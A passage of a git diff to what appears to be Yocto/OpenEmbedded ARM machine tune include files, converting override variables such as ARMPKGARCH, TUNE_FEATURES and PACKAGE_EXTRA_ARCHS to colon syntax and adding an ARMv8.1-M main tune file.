-PACKAGE_EXTRA_ARCHS_tune-armv7vehf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7vehf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7vehf-vfp armv7vet2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-vfpv3d16 armv7vet2hf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3d16} armv7vehf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3d16} armv7vehf-vfpv3 armv7vet2hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-vfpv4d16 armv7vet2hf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-neon armv7vet2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} armv7vehf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} armv7vehf-neon-vfpv4 armv7vet2hf-neon-vfpv4"
+ARMPKGARCH:tune-armv7vehf ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7vehf = "${TUNE_FEATURES:tune-armv7ve} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf = "${TUNE_FEATURES:tune-armv7vet} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-neon = "${TUNE_FEATURES:tune-armv7ve-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-neon = "${TUNE_FEATURES:tune-armv7vet-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7vehf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7vehf-vfp armv7vet2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-vfpv3d16 armv7vet2hf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3d16} armv7vehf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3d16} armv7vehf-vfpv3 armv7vet2hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-vfpv4d16 armv7vet2hf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-neon armv7vet2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} armv7vehf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} armv7vehf-neon-vfpv4 armv7vet2hf-neon-vfpv4"
# Big Endian
AVAILTUNES += "armv7veb armv7vetb armv7veb-vfpv3d16 armv7vetb-vfpv3d16 armv7veb-vfpv3 armv7vetb-vfpv3 armv7veb-vfpv4d16 armv7vetb-vfpv4d16 armv7veb-neon armv7vetb-neon armv7veb-neon-vfpv4 armv7vetb-neon-vfpv4"
-ARMPKGARCH_tune-armv7veb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7veb = "${TUNE_FEATURES_tune-armv7ve} bigendian"
-TUNE_FEATURES_tune-armv7vetb = "${TUNE_FEATURES_tune-armv7vet} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7veb-neon = "${TUNE_FEATURES_tune-armv7ve-neon} bigendian"
-TUNE_FEATURES_tune-armv7vetb-neon = "${TUNE_FEATURES_tune-armv7vet-neon} bigendian"
-TUNE_FEATURES_tune-armv7veb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7vetb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7veb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7veb-vfp armv7vet2b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-vfpv3d16 armv7vet2b-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3d16} armv7veb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3d16} armv7veb-vfpv3 armv7vet2b-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-vfpv4d16 armv7vet2b-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-neon armv7vet2b-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon} armv7veb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon} armv7veb-neon-vfpv4 armv7vet2b-neon-vfpv4"
+ARMPKGARCH:tune-armv7veb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7veb = "${TUNE_FEATURES:tune-armv7ve} bigendian"
+TUNE_FEATURES:tune-armv7vetb = "${TUNE_FEATURES:tune-armv7vet} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7veb-neon = "${TUNE_FEATURES:tune-armv7ve-neon} bigendian"
+TUNE_FEATURES:tune-armv7vetb-neon = "${TUNE_FEATURES:tune-armv7vet-neon} bigendian"
+TUNE_FEATURES:tune-armv7veb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7vetb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7veb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7veb-vfp armv7vet2b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-vfpv3d16 armv7vet2b-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3d16} armv7veb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3d16} armv7veb-vfpv3 armv7vet2b-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-vfpv4d16 armv7vet2b-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-neon armv7vet2b-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon} armv7veb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon} armv7veb-neon-vfpv4 armv7vet2b-neon-vfpv4"
# Big Endian + HF
AVAILTUNES += "armv7vehfb armv7vethfb armv7vehfb-vfpv3d16 armv7vethfb-vfpv3d16 armv7vehfb-vfpv3 armv7vethfb-vfpv3 armv7vehfb-vfpv4d16 armv7vethfb-vfpv4d16 armv7vehfb-neon armv7vethfb-neon armv7vehfb-neon-vfpv4 armv7vethfb-neon-vfpv4"
-ARMPKGARCH_tune-armv7vehfb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7vehfb = "${TUNE_FEATURES_tune-armv7vehf} bigendian"
-TUNE_FEATURES_tune-armv7vethfb = "${TUNE_FEATURES_tune-armv7vethf} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vehf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vethf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv3 = "${TUNE_FEATURES_tune-armv7vehf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv3 = "${TUNE_FEATURES_tune-armv7vethf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vehf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vethf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-neon = "${TUNE_FEATURES_tune-armv7vehf-neon} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-neon = "${TUNE_FEATURES_tune-armv7vethf-neon} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vehf-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vethf-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7vehfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7vehfb-vfp armv7vet2hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-vfpv3d16 armv7vet2hfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3d16} armv7vehfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3d16} armv7vehfb-vfpv3 armv7vet2hfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-vfpv4d16 armv7vet2hfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-neon armv7vet2hfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon} armv7vehfb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon} armv7vehfb-neon-vfpv4 armv7vet2hfb-neon-vfpv4"
+ARMPKGARCH:tune-armv7vehfb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7vehfb = "${TUNE_FEATURES:tune-armv7vehf} bigendian"
+TUNE_FEATURES:tune-armv7vethfb = "${TUNE_FEATURES:tune-armv7vethf} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vehf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vethf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv3 = "${TUNE_FEATURES:tune-armv7vehf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv3 = "${TUNE_FEATURES:tune-armv7vethf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vehf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vethf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-neon = "${TUNE_FEATURES:tune-armv7vehf-neon} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-neon = "${TUNE_FEATURES:tune-armv7vethf-neon} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vehf-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vethf-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7vehfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7vehfb-vfp armv7vet2hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-vfpv3d16 armv7vet2hfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3d16} armv7vehfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3d16} armv7vehfb-vfpv3 armv7vet2hfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-vfpv4d16 armv7vet2hfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-neon armv7vet2hfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon} armv7vehfb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon} armv7vehfb-neon-vfpv4 armv7vet2hfb-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/arch-armv8-1m-main.inc b/meta/conf/machine/include/arm/arch-armv8-1m-main.inc
new file mode 100644
index 0000000000..5b1bcb8f46
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-1m-main.inc
@@ -0,0 +1,18 @@
+#
+#
+# Defaults for ARMv8.1-M.main
+#
+DEFAULTTUNE ?= "armv8-1m-main"
+
+TUNEVALID[armv8-1m-main] = "Enable instructions for ARMv8.1-m.main"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1m-main', ' -march=armv8.1-m.main', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1m-main', 'armv8-1m-main:', '', d)}"
+
+TUNECONFLICTS[armv8-1m-main] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+AVAILTUNES += "armv8-1m-main"
+ARMPKGARCH:tune-armv8-1m-main = "armv8-1m-main"
+TUNE_FEATURES:tune-armv8-1m-main = "armv8-1m-main"
+PACKAGE_EXTRA_ARCHS:tune-armv8-1m-main = "armv8-1m-main"
diff --git a/meta/conf/machine/include/arm/arch-armv8-2a.inc b/meta/conf/machine/include/arm/arch-armv8-2a.inc
index 4129689cf9..30f2870811 100644
--- a/meta/conf/machine/include/arm/arch-armv8-2a.inc
+++ b/meta/conf/machine/include/arm/arch-armv8-2a.inc
@@ -1,7 +1,7 @@
DEFAULTTUNE ?= "armv8-2a"
TUNEVALID[armv8-2a] = "Enable instructions for ARMv8-a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', ' -march=armv8.2-a', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', ' -march=armv8.2-a', '', d)}"
# TUNE crypto will be handled by arch-armv8a.inc below
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', 'armv8-2a:', '', d)}"
@@ -9,11 +9,11 @@ require conf/machine/include/arm/arch-armv8a.inc
# Little Endian base configs
AVAILTUNES += "armv8-2a armv8-2a-crypto"
-ARMPKGARCH_tune-armv8-2a ?= "armv8-2a"
-ARMPKGARCH_tune-armv8-2a-crypto ?= "armv8-2a"
-TUNE_FEATURES_tune-armv8-2a = "aarch64 armv8-2a"
-TUNE_FEATURES_tune-armv8-2a-crypto = "${TUNE_FEATURES_tune-armv8-2a} crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8-2a = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8-2a"
-PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a} armv8-2a-crypto"
-BASE_LIB_tune-armv8-2a = "lib64"
-BASE_LIB_tune-armv8-2a-crypto = "lib64"
+ARMPKGARCH:tune-armv8-2a ?= "armv8-2a"
+ARMPKGARCH:tune-armv8-2a-crypto ?= "armv8-2a"
+TUNE_FEATURES:tune-armv8-2a = "aarch64 armv8-2a"
+TUNE_FEATURES:tune-armv8-2a-crypto = "${TUNE_FEATURES:tune-armv8-2a} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-2a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-2a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} armv8-2a-crypto"
+BASE_LIB:tune-armv8-2a = "lib64"
+BASE_LIB:tune-armv8-2a-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8a.inc b/meta/conf/machine/include/arm/arch-armv8a.inc
index 6e92bdb7a4..97c944dfa5 100644
--- a/meta/conf/machine/include/arm/arch-armv8a.inc
+++ b/meta/conf/machine/include/arm/arch-armv8a.inc
@@ -1,30 +1,28 @@
DEFAULTTUNE ?= "armv8a-crc"
TUNEVALID[armv8a] = "Enable instructions for ARMv8-a"
